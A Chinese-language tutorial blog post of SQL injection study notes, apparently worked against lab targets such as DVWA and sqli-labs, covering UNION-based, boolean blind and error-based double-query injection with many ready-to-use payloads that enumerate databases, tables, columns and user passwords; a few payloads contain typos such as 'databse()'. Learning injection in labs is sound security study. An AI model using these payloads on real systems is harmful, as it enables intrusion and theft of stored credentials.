玖叶教程网

前端编程开发入门

Sql学习笔记作者番茄小姐姐

1、 什么是sql注入

当我们在输入框中输入正常的id为1时,sql语句是

Select username,password from XXX where id='1'

当我们在输入框中输入不正常的id如1' union select 1,database()%23,sql语句为

Select username,password from XXX where id='1' union select 1,database()%23'

这也是数据库所执行的命令,我们不仅可以得到id=1的username、password,还可以获取当前数据库名。

2、 相关知识

POC(proof of concept)漏洞验证代码

所有类型的SQL注入,都是基于查库、表、列语句。

3、 步骤

1、 判断是否存在注入

先输入1,正常,输入1'报错,说明存在注入。

2、 判断是数字型注入还是字符型注入,输入三种poc

1 or 1=1 数字型注入

1' or '1'='1' 字符型注入

1" or "1"="1" 字符型注入

看返回结果,where语句是否成功的被or条件处理,来判断使用的变量是单双引号闭合的、以及什么类型的注入

3、 猜解SQL查询语句中的字段数

输入1' order by 1#,显示正常,输入1' order by 2#显示正常,输入1' order by 3#,查询失败,说明字段数只有两列。知道了字段数就可以用union联合查询

4、 确定显示的字段

由于开发人员设置原因,导致有些字段并不能显示东西,所以这时输入1' union select 1,2# union联合查询注入属于回显注入,我们可以根据回显的内容看到数据库中的信息,所以要确定回显的字段,若查询有结果,则字段回显。

5、 获取当前数据库

1' union select 1,database()#

6、 获取数据库中的表

xx' union select 1,table_name from information_schema.tables where table_schema='数据库名'—

7、 获取表中字段名

xx' union select 1,column_name from information_schema.columns where table_name='users'—

8、 查看数据

xx' union select user,password from users—

盲注

1、 判断是否存在注入,注入是字符型还是数字型

输入1,显示用户存在,为真,输入-1,显示用户不存在,为假。

若结果为假,则说明后面假的代码插进去了,就可以判断是单双引号闭合和什么类型的注入

2、 猜解当前数据库名

通过上一步,已经知道了这里存在SQL盲注,怎么获取盲注漏洞的数据呢?不能像SQL回显注入那样直接获取数据,所以只能一一的猜解,猜解条件就是用前面的真假条件

1' and 真# 结果就为真

1' and 假# 结果就为假

盲注中获取字符串长度 length(str) 获取字符串长度(字符串)

猜数据库名长度

输入 1' and length(database())>1-- 显示结果为真,所以数据库名长度肯定大于1

输入 1' and length(database())>10-- 显示结果为假 ,所以数据库名长度肯定小于等于10。

用二分法猜解,最后得到的数据库名长度为4

left(a,b) 从左侧开始截取a字符串的前b位

substr(expression,start,length)

ascii(a)将某个字符转换为ascii值

mid()函数与substr函数功能一样

ord()函数与ascii函数功能一样

regexp { (select user()) regexp '^r)正则表达式用法,user()结果为root,regexp为匹配root的正则表达式}

like { (select user()) like 'ro%'} 与regexp类似,使用like进行匹配。

常用POC

and left(select(database()),1)='a'--+

and (select database()) regexp '^r'

and (select database()) like 'r%'

and ord(mid((select database()),1,1))>97

and ascii(substr((select databse()),1,1))>97 (我最常用)

输入1' and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

输入1' and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1' and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1' and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1' and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入1' and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。

3.猜解数据库中的表名

首先猜解数据库中表的数量:

1' and (select count (table_name) from information_schema.tables where table_schema=库名)=1 # 显示不存在

1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

说明数据库中共有两个表。

接着挨个猜解表名:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为9。

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名(guestbook、users)。

4.猜解表中的字段名

首先猜解表中字段的数量:

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在

说明users表有8个字段。

接着挨个猜解字段名:

1' and length(select column_name from information_schema.columns where table_name= 'users' limit 0,1)=1 # 显示不存在

1' and length(select column_name from information_schema.columns where table_name= 'users' limit 0,1)=7 # 显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

5.猜解数据

同样采用二分法

这样就获取了所有数据。

猜数据库长度

id=1' and length(database())=8 --+

猜库名

?id=1' and ascii(substr(database(),1,1))<105 --+

查库里有几个表

?id=1' and 1=((select count(*) from information_schema.tables where table_schema='security')=4) --+

猜表名长度

?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+

猜表名

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117 --+

猜表中字段数

?id=1' and ((select count(*) from information_schema.columns where table_schema='security' and table_name='users')=3) --+

猜字段长度

?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2 --+

猜字段名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=117 --+

猜用户名和密码

?id=1' and length((select username from security.users where id =1))=4 --+

?id=1' and length((select password from security.users where id =1))=4 --+

双查询注入

几个常用的错误构造句

? select group_concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name;

? select 1 from(select count(*),concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b

Payload

http://localhost/sqli/Less-5/?id=1' and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+

双注入查询需要理解四个函数/语句

1. Rand() //随机函数 返回0-1之间的随机数

2. Floor() //取整函数

3. Count() //汇总函数

4. Group by //分组语句

双查询注入公式

union select 1 from (select count(*),concat(floor(rand(0)*2),( 注入爆 数据语句))a from information_schema.tables group by a)b --+

例如

?id=1' and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言